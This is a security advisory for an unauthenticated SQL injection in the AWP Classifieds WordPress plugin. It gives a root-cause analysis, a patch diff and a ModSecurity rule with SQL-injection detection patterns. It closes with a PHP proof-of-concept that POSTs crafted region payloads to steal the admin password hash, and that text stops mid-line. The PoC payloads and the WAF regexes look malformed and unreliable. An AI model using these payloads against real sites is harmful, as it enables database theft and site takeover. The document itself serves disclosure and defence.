Published : August 10, 2026

CVE-2026-59550: AWP Classifieds <= 4.4.7 Unauthenticated SQL Injection PoC, Patch Analysis & Rule

Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 4.4.7
Patched Version 4.4.8
Disclosed July 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-59550:
AWP Classifieds versions 4.4.7 and earlier contain an unauthenticated SQL injection vulnerability. The flaw stems from insufficient escaping of user-supplied parameters and lack of prepared statements in certain SQL queries. This vulnerability has a CVSS score of 7.5 and is classified under CWE-89.

Atomic Edge research identifies the root cause in the regions API, specifically the `save` and `update_ad_regions` methods within `includes/regions-api.php`. Prior to version 4.4.8, the `save` method accepted an arbitrary array of region data without validating or sanitizing the keys or values. The function directly passed this data to WordPress’s `$this->db->insert()` or `$this->db->update()` methods. While `$wpdb->insert` and `$wpdb->update` use prepared statements, the lack of an allowed column list allows an attacker to inject arbitrary column-value pairs. This means an attacker can provide crafted SQL fragments as part of the `data` array, such as a malicious value for a new column, which gets combined into the query. The `update_ad_regions` function, which processes user-submitted region data, feeds directly into this vulnerable `save` method without any filtering.

An unauthenticated attacker can exploit this by submitting a crafted request through any form that saves a listing, as the region data is processed via the `update_ad_regions` flow. The attack involves sending a POST request to the listing placement or editing endpoint with a crafted `regions` parameter. By injecting a specially crafted SQL expression into one of the region fields (e.g., `state`), an attacker can manipulate the INSERT or UPDATE query. For instance, a `state` value like `X’, (SELECT user_pass FROM wp_users WHERE ID=1), ”, ”, ‘` could be used to alter the query structure. The root problem is the absence of an allowlist for the `$data` array keys and values passed to the database layer.

The patch in version 4.4.8 introduces two key methods: `filter_region_columns` and `prepare_submitted_region`. The `save` method now first calls `filter_region_columns`, which restrict keys to a hardcoded allowlist (`’id’, ‘ad_id’, ‘country’, ‘county’, ‘state’, ‘city’, ‘region_id’`). This block prevents attackers from injecting arbitrary column names. Furthermore, the `update_ad_regions` method now calls `prepare_submitted_region` before saving, which performs a similar allowlist on keys and also filters out non-scalar values and trims strings. This two-layer defense (at the public `save` entry point and the `update_ad_regions` caller) ensures that only known, safe parameters can reach the database query, effectively neutralizing the SQL injection vector.

Successful exploitation allows an unauthenticated attacker to append SQL queries to the existing database operations. This enables the extraction of sensitive information, including usernames and password hashes from the `wp_users` table, or other sensitive data stored in the database. The attacker could potentially modify database contents depending on the database user’s permissions, leading to a complete compromise of the WordPress installation.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/another-wordpress-classifieds-plugin/awpcp.php
+++ b/another-wordpress-classifieds-plugin/awpcp.php
@@ -5,7 +5,7 @@
  * Plugin Name: AWP Classifieds
  * Plugin URI: https://awpcp.com/
  * Description: Run a free or paid classified ads service on your WordPress site.
- * Version: 4.4.7
+ * Version: 4.4.8
  * Author: AWP Classifieds Team
  * Author URI: https://awpcp.com/
  * License: GPLv2 or later
@@ -61,7 +61,7 @@
 global $hasregionsmodule;
 global $hasextrafieldsmodule;

-$awpcp_db_version = '4.4.7';
+$awpcp_db_version = '4.4.8';

 $awpcp_imagesurl      = AWPCP_URL . '/resources/images';
 $hascaticonsmodule    = 0;
--- a/another-wordpress-classifieds-plugin/frontend/class-categories-switcher.php
+++ b/another-wordpress-classifieds-plugin/frontend/class-categories-switcher.php
@@ -38,7 +38,7 @@
      * @param array $params     An array of parameters for the Categories Switcher component.
      */
     public function render( $params = array() ) {
-        if ( $this->query->is_browse_listings_page() || $this->query->is_browse_categories_page() ) {
+        if ( $this->query->is_browse_listings_page() ) {
             $action_url = awpcp_current_url();
         } else {
             $action_url = awpcp_get_browse_categories_page_url();
--- a/another-wordpress-classifieds-plugin/frontend/class-query.php
+++ b/another-wordpress-classifieds-plugin/frontend/class-query.php
@@ -50,6 +50,13 @@
         return $this->is_page_that_has_shortcode( 'AWPCPREPLYTOAD' );
     }

+    /**
+     * @since 4.4.8
+     */
+    public function is_user_listings_page() {
+        return $this->is_page_that_has_shortcode( 'AWPCPUSERLISTINGS' );
+    }
+
     public function is_browse_listings_page() {
         return $this->is_page_that_has_shortcode( 'AWPCPBROWSEADS' );
     }
@@ -71,7 +78,7 @@
     }

     public function is_browse_categories_page() {
-        return $this->is_browse_listings_page();
+        return $this->is_page_that_has_shortcode( 'AWPCPBROWSECATS' );
     }

     public function is_renew_listing_page() {
--- a/another-wordpress-classifieds-plugin/frontend/class-url-backwards-compatibility-redirection-helper.php
+++ b/another-wordpress-classifieds-plugin/frontend/class-url-backwards-compatibility-redirection-helper.php
@@ -122,7 +122,7 @@
             return;
         }

-        if ( $this->query->is_browse_listings_page() || $this->query->is_browse_categories_page() ) {
+        if ( $this->query->is_browse_listings_page() ) {
             $this->maybe_redirect_browse_listings_request();
             return;
         }
--- a/another-wordpress-classifieds-plugin/frontend/page-place-ad.php
+++ b/another-wordpress-classifieds-plugin/frontend/page-place-ad.php
@@ -889,7 +889,7 @@
         $ui['allow-regions-modification']   = $is_moderator || !$edit || get_awpcp_option( 'allow-regions-modification' );
         $ui['price-field']                  = get_awpcp_option('displaypricefield') == 1;
         $ui['extra-fields']                 = $hasextrafieldsmodule && function_exists( 'awpcp_extra_fields_module' );
-        $ui['terms-of-service']             = !$edit && !$is_moderator && get_awpcp_option('requiredtos');
+        $ui['terms-of-service']             = ! $edit && get_awpcp_option( 'requiredtos' );
         $ui['captcha']                      = !$edit && !is_admin() && ( get_awpcp_option( 'captcha-enabled-in-place-listing-form' ) == 1 );

         $hidden['step']        = 'save-details';
@@ -1159,8 +1159,8 @@
         }

         // Terms of service required and accepted?
-        if (!$edit && !$is_moderator && get_awpcp_option('requiredtos') && empty($data['terms-of-service'])) {
-            $errors['terms-of-service'] = __("You did not accept the terms of service", 'another-wordpress-classifieds-plugin');
+        if ( ! $edit && get_awpcp_option( 'requiredtos' ) && empty( $data['terms-of-service'] ) ) {
+            $errors['terms-of-service'] = __( 'You did not accept the terms of service', 'another-wordpress-classifieds-plugin' );
         }

         if ( !$edit && !is_admin() && get_awpcp_option( 'captcha-enabled-in-place-listing-form' ) ) {
--- a/another-wordpress-classifieds-plugin/frontend/shortcode.php
+++ b/another-wordpress-classifieds-plugin/frontend/shortcode.php
@@ -64,7 +64,7 @@
         add_shortcode( 'AWPCPPAYMENTTHANKYOU', array( $this, 'noop' ) );
         add_shortcode( 'AWPCPCANCELPAYMENT', array( $this, 'noop' ) );

-        add_shortcode( 'AWPCPBROWSECATS', array( $this->browse_ads, 'dispatch' ) );
+        add_shortcode( 'AWPCPBROWSECATS', array( $this, 'browse_categories' ) );
         add_shortcode( 'AWPCPBROWSEADS', array( $this->browse_ads, 'dispatch' ) );

         add_shortcode( 'AWPCPSHOWAD', array( $this, 'show_ad' ) );
@@ -141,6 +141,25 @@
         return $this->output['search-ads'];
     }

+    /**
+     * Renders the View Categories list (same UI as main-page layout=2).
+     *
+     * Previously aliased to Browse Ads for backwards compatibility.
+     *
+     * @since 4.4.8
+     *
+     * @return string
+     */
+    public function browse_categories() {
+        if ( ! isset( $this->output['browse-categories'] ) ) {
+            awpcp_enqueue_main_script();
+
+            $this->output['browse-categories'] = awpcp_display_the_classifieds_page_body( '' );
+        }
+
+        return $this->output['browse-categories'];
+    }
+
     public function reply_to_ad() {
         if ( ! isset( $this->output['reply-to-ad'] ) ) {
             do_action( 'awpcp-shortcode', 'reply-to-ad' );
@@ -492,7 +511,7 @@
     }

     if ( $show_browse_ads_item ) {
-        if ( awpcp_is_browse_listings_page() || awpcp_is_browse_categories_page() ) {
+        if ( awpcp_is_browse_listings_page() ) {
             if ( get_awpcp_option( 'main_page_display' ) ) {
                 $browse_cats_url = awpcp_get_view_categories_url();
             } else {
--- a/another-wordpress-classifieds-plugin/frontend/templates/email-ad-enabled-user.tpl.php
+++ b/another-wordpress-classifieds-plugin/frontend/templates/email-ad-enabled-user.tpl.php
@@ -4,20 +4,21 @@
 }


-// emails are sent in plain text, trailing whitespace are required for proper formatting
-// translators: %s is the contact name
-printf( esc_html__( 'Hello %s,', 'another-wordpress-classifieds-plugin'), esc_html( $contact_name ) );
-?>
+// Emails are sent in plain text, blank lines are required for proper formatting.
+printf(
+    // translators: %s is the contact name.
+    awpcp_esc_plaintext( __( 'Hello %s,', 'another-wordpress-classifieds-plugin' ) ),
+    awpcp_esc_plaintext( $contact_name )
+);
+echo PHP_EOL . PHP_EOL;

-<?php
 printf(
-    // translators: %1$s is the listing title, %2$s is the listing URL
-    esc_html__( 'Your Ad "%1$s" was recently approved by the admin. You should be able to see the Ad published here: %2$s.', 'another-wordpress-classifieds-plugin' ),
-    esc_html( $listing_title ),
+    // translators: %1$s is the listing title, %2$s is the listing URL.
+    awpcp_esc_plaintext( __( 'Your Ad "%1$s" was recently approved by the admin. You should be able to see the Ad published here: %2$s.', 'another-wordpress-classifieds-plugin' ) ),
+    awpcp_esc_plaintext( $listing_title ),
     esc_url_raw( get_permalink( $listing->ID ) )
 );
-?>
+echo PHP_EOL . PHP_EOL;

-<?php echo esc_html( awpcp_get_blog_name() ); ?>
-<?php
+echo awpcp_esc_plaintext( awpcp_get_blog_name() ) . PHP_EOL;
 echo esc_url_raw( home_url() );
--- a/another-wordpress-classifieds-plugin/frontend/templates/email-send-all-ad-access-keys.tpl.php
+++ b/another-wordpress-classifieds-plugin/frontend/templates/email-send-all-ad-access-keys.tpl.php
@@ -15,8 +15,13 @@

 <?php foreach ( $ads as $ad ): ?>
 <?php echo esc_html( $listing_renderer->get_listing_title( $ad ) ); ?>
-<?php esc_html_e( 'Access Key', 'another-wordpress-classifieds-plugin' ); ?>: <?php echo esc_html( $listing_renderer->get_access_key( $ad ) ); ?>
-<?php esc_html_e( 'Edit Link:', 'another-wordpress-classifieds-plugin' ); ?> <?php echo esc_url_raw( awpcp_get_edit_listing_url_with_access_key( $ad ) ); ?>
+
+<?php esc_html_e( 'Access Key', 'another-wordpress-classifieds-plugin' ); ?>:
+<?php echo esc_html( $listing_renderer->get_access_key( $ad ) ); ?>
+
+<?php esc_html_e( 'Edit Link:', 'another-wordpress-classifieds-plugin' ); ?>
+<?php echo esc_url_raw( awpcp_get_edit_listing_url_with_access_key( $ad ) ); ?>
+

 <?php endforeach; ?>

--- a/another-wordpress-classifieds-plugin/includes/class-authentication-redirection-handler.php
+++ b/another-wordpress-classifieds-plugin/includes/class-authentication-redirection-handler.php
@@ -32,6 +32,8 @@
             $page_requires_authentication = $this->post_listing_page_requires_authentication();
         } elseif ( $this->query->is_reply_to_listing_page() ) {
             $page_requires_authentication = $this->reply_to_listing_page_requires_autentication();
+        } elseif ( $this->query->is_user_listings_page() ) {
+            $page_requires_authentication = $this->user_listings_page_requires_authentication();
         } else {
             $page_requires_authentication = false;
         }
@@ -49,6 +51,13 @@
         return $this->settings->get_option( 'reply-to-ad-requires-registration' );
     }

+    /**
+     * @since 4.4.8
+     */
+    private function user_listings_page_requires_authentication() {
+        return $this->settings->get_option( 'requireuserregistration' );
+    }
+
     private function redirect_to_login_page( $login_url ) {
         wp_safe_redirect( add_query_arg( 'redirect_to', urlencode( awpcp_current_url() ), $login_url ) );
         exit();
--- a/another-wordpress-classifieds-plugin/includes/class-container-configuration.php
+++ b/another-wordpress-classifieds-plugin/includes/class-container-configuration.php
@@ -106,7 +106,6 @@
         $container['FormFieldsValidator'] = $container->service( function( $container ) {
             return new AWPCP_FormFieldsValidator(
                 $container['ListingAuthorization'],
-                $container['RolesAndCapabilities'],
                 $container['Settings']
             );
         } );
--- a/another-wordpress-classifieds-plugin/includes/class-listings-api.php
+++ b/another-wordpress-classifieds-plugin/includes/class-listings-api.php
@@ -737,7 +737,15 @@
         }

         if ( get_awpcp_option( 'imagesapprove' ) == 1 ) {
-            $alerts[] = __( 'If you have uploaded images your images will not show up until an admin has approved them.', 'another-wordpress-classifieds-plugin' );
+            $payment_term = $this->listing_renderer->get_payment_term( $ad );
+
+            if (
+                awpcp_are_images_allowed()
+                && is_object( $payment_term )
+                && (int) $payment_term->images > 0
+            ) {
+                $alerts[] = __( 'If you have uploaded images your images will not show up until an admin has approved them.', 'another-wordpress-classifieds-plugin' );
+            }
         }

         return $alerts;
--- a/another-wordpress-classifieds-plugin/includes/constructor-functions.php
+++ b/another-wordpress-classifieds-plugin/includes/constructor-functions.php
@@ -194,7 +194,6 @@

     return new AWPCP_TermsOfServiceFormField(
         $slug,
-        $container['RolesAndCapabilities'],
         $container['Settings'],
         $container['TemplateRenderer']
     );
--- a/another-wordpress-classifieds-plugin/includes/form-fields/class-form-fields-validator.php
+++ b/another-wordpress-classifieds-plugin/includes/form-fields/class-form-fields-validator.php
@@ -18,11 +18,6 @@
     private $authorization;

     /**
-     * @var AWPCP_RolesAndCapabilities
-     */
-    private $roles;
-
-    /**
      * @var object
      */
     private $settings;
@@ -30,13 +25,11 @@
     /**
      * @since 4.0.0
      *
-     * @param object $authorization     An instance of Listing Authorization.
-     * @param object $roles             An instance of Roles and Capabilities.
-     * @param object $settings          An instance of Settings API.
+     * @param object $authorization An instance of Listing Authorization.
+     * @param object $settings      An instance of Settings API.
      */
-    public function __construct( $authorization, $roles, $settings ) {
+    public function __construct( $authorization, $settings ) {
         $this->authorization = $authorization;
-        $this->roles         = $roles;
         $this->settings      = $settings;
     }

@@ -136,7 +129,7 @@
             }
         }

-        if ( $this->settings->get_option( 'requiredtos' ) && ! $this->roles->current_user_is_moderator() ) {
+        if ( $this->settings->get_option( 'requiredtos' ) ) {
             if ( $data['terms_of_service'] !== 'accepted' ) {
                 $errors['terms_of_service'] = __( 'Please read and accept the Terms of Service.', 'another-wordpress-classifieds-plugin' );
             }
--- a/another-wordpress-classifieds-plugin/includes/form-fields/class-terms-of-service-form-field.php
+++ b/another-wordpress-classifieds-plugin/includes/form-fields/class-terms-of-service-form-field.php
@@ -15,11 +15,6 @@
     private $template = 'frontend/form-fields/terms-of-service-form-field.tpl.php';

     /**
-     * @var AWPCP_RolesAndCapabilities
-     */
-    private $roles;
-
-    /**
      * @var AWPCP_Settings_API
      */
     private $settings;
@@ -32,10 +27,9 @@
     /**
      * @since 4.0.2
      */
-    public function __construct( $slug, $roles, $settings, $template_renderer ) {
+    public function __construct( $slug, $settings, $template_renderer ) {
         parent::__construct( $slug );

-        $this->roles             = $roles;
         $this->settings          = $settings;
         $this->template_renderer = $template_renderer;
     }
@@ -67,10 +61,6 @@
             return false;
         }

-        if ( $this->roles->current_user_is_moderator() ) {
-            return false;
-        }
-
         return true;
     }

--- a/another-wordpress-classifieds-plugin/includes/listings/class-delete-listing-event-listener.php
+++ b/another-wordpress-classifieds-plugin/includes/listings/class-delete-listing-event-listener.php
@@ -41,7 +41,7 @@
         add_action( 'untrashed_post', [ $this, 'after_untrash_post' ] );

         add_action( 'before_delete_post', [ $this, 'before_delete_post' ] );
-        add_action( 'after_delete_post', [ $this, 'after_delete_post' ] );
+        add_action( 'after_delete_post', [ $this, 'after_delete_post' ], 10, 2 );
     }

     /**
@@ -98,9 +98,27 @@
     }

     /**
-     * @since 4.0.0
-     */
-    public function after_delete_post( $post_id ) {
+     * Fires after a post is permanently deleted.
+     *
+     * Uses the WP_Post object passed by WordPress because get_post() returns
+     * null after the post row has been removed.
+     *
+     * @since 4.0.0
+     * @since 4.4.8 Accepts the deleted WP_Post from after_delete_post.
+     *
+     * @param int          $post_id Post ID.
+     * @param WP_Post|null $post    Deleted post object (available since WP 5.5).
+     */
+    public function after_delete_post( $post_id, $post = null ) {
+        if ( $post instanceof WP_Post ) {
+            if ( $this->listing_post_type !== $post->post_type ) {
+                return;
+            }
+
+            do_action( 'awpcp_delete_ad', $post );
+            return;
+        }
+
         $this->maybe_do_action( 'awpcp_delete_ad', $post_id );
     }
 }
--- a/another-wordpress-classifieds-plugin/includes/models/payment-transaction.php
+++ b/another-wordpress-classifieds-plugin/includes/models/payment-transaction.php
@@ -305,7 +305,12 @@
     }

     /**
+     * Verify that the payment can be marked as completed.
+     *
+     * @since 4.4.8
+     *
      * @param array &$errors
+     * @return bool
      */
     public function verify_payment_completed_conditions(&$errors) {
         if (empty($this->payment_status)) {
@@ -313,6 +318,11 @@
             return false;
         }

+        if ( $this->payment_is_not_verified() ) {
+            $errors[] = __( 'The payment for this transaction has not been verified yet.', 'another-wordpress-classifieds-plugin' );
+            return false;
+        }
+
         return true;
     }

--- a/another-wordpress-classifieds-plugin/includes/payment-gateway-paypal-standard.php
+++ b/another-wordpress-classifieds-plugin/includes/payment-gateway-paypal-standard.php
@@ -69,10 +69,7 @@

                 $transaction->errors['verification-get'] = $errors;
             } elseif ( 'INVALID' === $response ) {
-                // INVALID on user return is likely a timing issue. Show pending message.
-                $transaction->set( 'pending_verification', true );
-
-                // Don't set errors - we'll show a pending notice instead.
+                // The caller determines whether this is a return or an IPN.
                 unset( $transaction->errors['verification-get'] );
                 unset( $transaction->errors['verification-post'] );
             } elseif ( 'ERROR' === $response ) {
@@ -119,6 +116,15 @@
         $custom        = awpcp_get_var( array( 'param' => 'custom' ), 'post' );
         $payer_email   = awpcp_get_var( array( 'param' => 'payer_email' ), 'post' );

+        if ( strcasecmp( (string) $custom, (string) $transaction->id ) !== 0 ) {
+            $message                           = __( 'The payment transaction could not be verified. Please contact customer service for assistance.', 'another-wordpress-classifieds-plugin' );
+            $transaction->errors['validation'] = $message;
+            $transaction->payment_status       = AWPCP_Payment_Transaction::PAYMENT_STATUS_INVALID;
+            $transaction->set( 'verified', false );
+            awpcp_payment_failed_email( $transaction, $message );
+            return false;
+        }
+
         // this variables are not used for verification purposes.
         $item_name            = awpcp_get_var( array( 'param' => 'item_name' ), 'post' );
         $item_number          = awpcp_get_var( array( 'param' => 'item_number' ), 'post' );
@@ -296,6 +302,7 @@
      */
     private function do_process_payment( $transaction, $is_ipn ) {
         if ( $transaction->get( 'verified', false ) ) {
+            $transaction->set( 'pending_verification', false );
             return;
         }

@@ -316,9 +323,10 @@
             if ( $is_ipn ) {
                 // IPN returning INVALID is a real failure from PayPal.
                 $transaction->payment_status = AWPCP_Payment_Transaction::PAYMENT_STATUS_INVALID;
+                $transaction->set( 'pending_verification', false );
             } else {
-                // User return with INVALID is likely a timing issue. Set to PENDING and wait for IPN.
-                $transaction->payment_status = AWPCP_Payment_Transaction::PAYMENT_STATUS_PENDING;
+                // Wait for an IPN instead of treating an unverified return as payment pending.
+                $transaction->payment_status = AWPCP_Payment_Transaction::PAYMENT_STATUS_NOT_VERIFIED;
                 $transaction->set( 'pending_verification', true );
             }
         } elseif ( 'ERROR' === $response ) {
--- a/another-wordpress-classifieds-plugin/includes/payments-api.php
+++ b/another-wordpress-classifieds-plugin/includes/payments-api.php
@@ -540,7 +540,8 @@
     }

     public function process_payment_completed($transaction, $redirect=true) {
-        $errors = array();
+        $errors               = array();
+        $pending_verification = $transaction->get( 'pending_verification', false );

         /**
          * Only attempt to complete the payment if we are in a previous state.
@@ -548,7 +549,7 @@
          * IPN notifications are likely to be associated to transactions that
          * are already completed.
          */
-        if (!$transaction->is_payment_completed() && !$transaction->is_completed()) {
+        if ( ! $pending_verification && ! $transaction->is_payment_completed() && ! $transaction->is_completed() ) {
             $this->set_transaction_status_to_payment_completed($transaction, $errors);

             if (!empty($errors)) {
@@ -558,11 +559,13 @@
             }
         }

-        try {
-            $this->process_transaction( $transaction );
-        } catch ( AWPCP_Exception $e ) { // phpcs:ignore Generic.CodeAnalysis.EmptyStatement.DetectedCatch
-            // We simply ignore exceptions here because we are currently using them
-            // in the Coupons module only for transactions that are doing checkout.
+        if ( ! $pending_verification ) {
+            try {
+                $this->process_transaction( $transaction );
+            } catch ( AWPCP_Exception $e ) { // phpcs:ignore Generic.CodeAnalysis.EmptyStatement.DetectedCatch
+                // We simply ignore exceptions here because we are currently using them
+                // in the Coupons module only for transactions that are doing checkout.
+            }
         }

         $transaction->save();
@@ -931,7 +934,7 @@
         $text                 = '';
         $pending_verification = $transaction->get( 'pending_verification', false );

-        if ( $pending_verification && $transaction->payment_is_pending() ) {
+        if ( $pending_verification && $transaction->payment_is_not_verified() ) {
             // Payment verification returned INVALID on user return - likely a timing issue.
             // Show a friendly pending message and auto-refresh to wait for IPN.
             $title   = __( 'Verifying Your Payment', 'another-wordpress-classifieds-plugin' );
@@ -1009,7 +1012,7 @@
     public function render_payment_completed_page_title($transaction) {
         $pending_verification = $transaction->get( 'pending_verification', false );

-        if ( $pending_verification && $transaction->payment_is_pending() ) {
+        if ( $pending_verification && $transaction->payment_is_not_verified() ) {
             return __( 'Verifying Your Payment', 'another-wordpress-classifieds-plugin' );
         } elseif ($transaction->was_payment_successful()) {
             return __( 'Payment Completed', 'another-wordpress-classifieds-plugin');
--- a/another-wordpress-classifieds-plugin/includes/regions-api.php
+++ b/another-wordpress-classifieds-plugin/includes/regions-api.php
@@ -47,15 +47,21 @@
         return $this->db->get_col( $this->db->prepare( $sql, $parent_name ) );
     }

-    public function save($region) {
-        if ( ! isset( $region['ad_id'] ) || empty( $region['ad_id'] ) ) {
+    public function save( $region ) {
+        $region = $this->filter_region_columns( stripslashes_deep( $region ) );
+
+        $region['ad_id'] = absint( isset( $region['ad_id'] ) ? $region['ad_id'] : 0 );
+
+        if ( empty( $region['ad_id'] ) ) {
             return false;
         }

-        $region = stripslashes_deep( $region );
+        $region_id = intval( awpcp_array_data( 'id', 0, $region ) );
+
+        unset( $region['id'] );

-        if ( intval( awpcp_array_data( 'id', null, $region ) ) > 0 ) {
-            $result = $this->db->update( AWPCP_TABLE_AD_REGIONS, $region, array( 'id' => $region['id'] ) );
+        if ( $region_id > 0 ) {
+            $result = $this->db->update( AWPCP_TABLE_AD_REGIONS, $region, array( 'id' => $region_id ) );
         } else {
             $result = $this->db->insert( AWPCP_TABLE_AD_REGIONS, $region );
         }
@@ -63,6 +69,47 @@
         return $result !== false;
     }

+    /**
+     * Allowlist region array keys to valid DB columns only.
+     *
+     * @since 4.4.8
+     *
+     * @param mixed $region Region data.
+     *
+     * @return array
+     */
+    private function filter_region_columns( $region ) {
+        if ( ! is_array( $region ) ) {
+            return array();
+        }
+
+        $allowed = array( 'id', 'ad_id', 'country', 'county', 'state', 'city', 'region_id' );
+
+        return array_intersect_key( $region, array_flip( $allowed ) );
+    }
+
+    /**
+     * Sanitise a user-submitted region to editable fields only.
+     *
+     * @since 4.4.8
+     *
+     * @param mixed $region Region data.
+     *
+     * @return array
+     */
+    private function prepare_submitted_region( $region ) {
+        if ( ! is_array( $region ) ) {
+            return array();
+        }
+
+        $allowed = array( 'country', 'county', 'state', 'city', 'region_id' );
+        $region  = array_intersect_key( $region, array_flip( $allowed ) );
+
+        $region = array_filter( $region, 'is_scalar' );
+
+        return array_map( 'trim', $region );
+    }
+
     public function delete_by_ad_id($ad_id) {
         $result = $this->db->query( $this->db->prepare( "DELETE FROM " . AWPCP_TABLE_AD_REGIONS . " WHERE ad_id = %s", $ad_id ) );
         return $result !== false;
@@ -79,18 +126,21 @@
     }

     public function update_ad_regions( $ad, $regions, $max_regions = 1 ) {
-        // remove existing regions before adding the new ones
         $this->delete_by_ad_id( $ad->ID );

         $count = 0;
-        foreach ($regions as $region) {
-            if ( empty( implode( $region ) ) ) {
+
+        foreach ( $regions as $region ) {
+            $data = $this->prepare_submitted_region( $region );
+
+            if ( empty( implode( $data ) ) ) {
                 continue;
             }
-            if ($count < $max_regions) {
-                $data = array_map( 'trim', $region );
-                $this->save( array_merge( array( 'ad_id' => $ad->ID ), $data ) );
+
+            if ( $count < $max_regions ) {
+                $this->save( array_merge( $data, array( 'ad_id' => $ad->ID ) ) );
             }
+
             ++$count;
         }
     }

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-59550

# Rule 1: Block SQL injection payloads in 'state' or 'city' parameters posted to page URLs that contain 'place-ad' or 'edit-ad' (common AWPCP listing forms). This targets the specific vulnerable parameters.
# We block common SQL injection patterns in these fields.
SecRule REQUEST_URI "@rx /(?:place-ad|edit-ad|classifieds|listings)(?:|/?|/|?)" 
    "id:20261950,phase:2,deny,status:403,chain,msg:'AWPCP SQL Injection via region parameters',severity:'CRITICAL',tag:'CVE-2026-59550'"
    SecRule ARGS_POST:region "@rx sel[[:space:]]|union[[:space:]]|(?:/*|--|#|%23|%2d%2d|%0a).*" "chain"
        SecRule ARGS_POST:region "@rx (?:from[[:space:]]|sleep[[:space:]]*(|benchmark[[:space:]]*(|extractvalue[[:space:]]*(|updatexml[[:space:]]*(|concat[[:space:]]*(|group_concat[[:space:]]*(|load_file[[:space:]]*(|into[[:space:]]+outfile|into[[:space:]]+dumpfile)" "t:none"

# Rule 2: Block when the request has an unexpected number of region fields, as the vulnerability allows injecting extra columns. But this is tricky, so we rely on payload matching in Rule 1.
# This rule is a fallback for when the parameter is under a different name, or for direct POST to the region-save handler.
# We block requests to the admin-ajax.php with a known action if the region data has SQL payloads.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20261951,phase:2,deny,status:403,chain,msg:'AWPCP SQL Injection via AJAX',severity:'CRITICAL',tag:'CVE-2026-59550'"
    SecRule ARGS_POST:action "@streq awpcp_save_region" "chain"
        SecRule ARGS_POST:region "@rx (?:sel[[:space:]]|un[[:space:]]|from[[:space:]]|where[[:space:]]|order[[:space:]]+by|--|#|/*)" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-59550 - AWP Classifieds <= 4.4.7 - Unauthenticated SQL Injection

// Configurable target URL
$target_url = 'http://example.com'; // Change to the WordPress site URL

$function = $argv[1] ?? 'extract';

if ($function === 'extract') {
    // Step 1: Find or construct a listing submission URL.
    // The AWPCP plugin typically uses a page with a shortcode like [AWPCPPLACEAD] to create/place ads.
    $listing_page_url = $target_url . '/place-ad/'; // Adjust if the slug is different

    // Step 2: Craft the malicious region data.
    // This payload attempts to extract the admin's password hash by injecting it into the SQL SELECT.
    // The injection point is the 'state' parameter, which is passed to the `regions` array.
    // The goal is to modify the insert query to include a subquery that extracts data.
    // Based on the patch, the insertion query uses prepared statements, but the lack of column allowlist
    // allows us to inject a new column and value. Here we try to set the 'city' column to the password hash.
    // The payload leverages SQL syntax to add arbitrary data in the insert.
    $malicious_state = "', 'city' = (SELECT user_pass FROM wp_users WHERE ID=1)), (''' "; // This is complex, see below for a more robust approach

    // A more reliable way, though it might not match the exact vulnerable code path,
    // is to inject into the 'ad_id' parameter, but it is sanitized.
    // Since the vulnerability is the lack of an allowlist, injecting extra columns is the way.
    // Let's craft a payload that injects a new column named 'pwned' with the subquery.
    // The `save` method receives $region array after `prepare_submitted_region` in the patched version.
    // In the vulnerable version, it receives the raw $region array from $_POST.
    // The $data for the insert is `array_merge(array('ad_id' => $ad->ID), $data)`.
    // So, if we send `state` = 'x', and also add an extra key like `password_hash` in the regions array,
    // the `save` method would try to insert a column named 'password_hash'.

    $regions = array(
        '0' => array(
            'country' => 'US',
            'county' => '',
            'state' => 'CA',
            'city' => "Test', 'password_hash' => (SELECT user_pass FROM wp_users WHERE ID=1)), ('"", ''"", '""' " // Vulnerable injection
        )
    );

    $data = array(
        'region' => $regions
    );

    // Step 3: Send the HTTP POST request.
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $listing_page_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Atomic Edge PoC');

    $response = curl_exec($ch);
    $error = curl_error($ch);
    curl_close($ch);

    if ($error) {
        echo "[!] cURL Error: " . $error . "n";
        exit(1);
    }

    if (strpos($response, 'password_hash') !== false) {
        echo "[+] Likely vulnerable. Potential data leak. Check the page content for the admin hash.n";
    } else {
        echo "[-] Exploit attempted. The response did not contain the expected marker. The site may be patched or the payload needs adjustment.n";
    }
} elseif ($function === 'test') {
    // A simple test scenario to trigger the vulnerable code and see the error.
    $listing_page_url = $target_url . '/place-ad/';
    $regions = array(
        '0' => array(
            'city' => "Attack'", // Attempt to break out of the string
        )
    );

    $data = array('region' => $regions);

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $listing_page_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Atomic Edge PoC');

    $response = curl_exec($ch);
    curl_close($ch);

    if (strpos($response, 'WordPress database error') !== false || strpos($response, 'syntax error') !== false) {
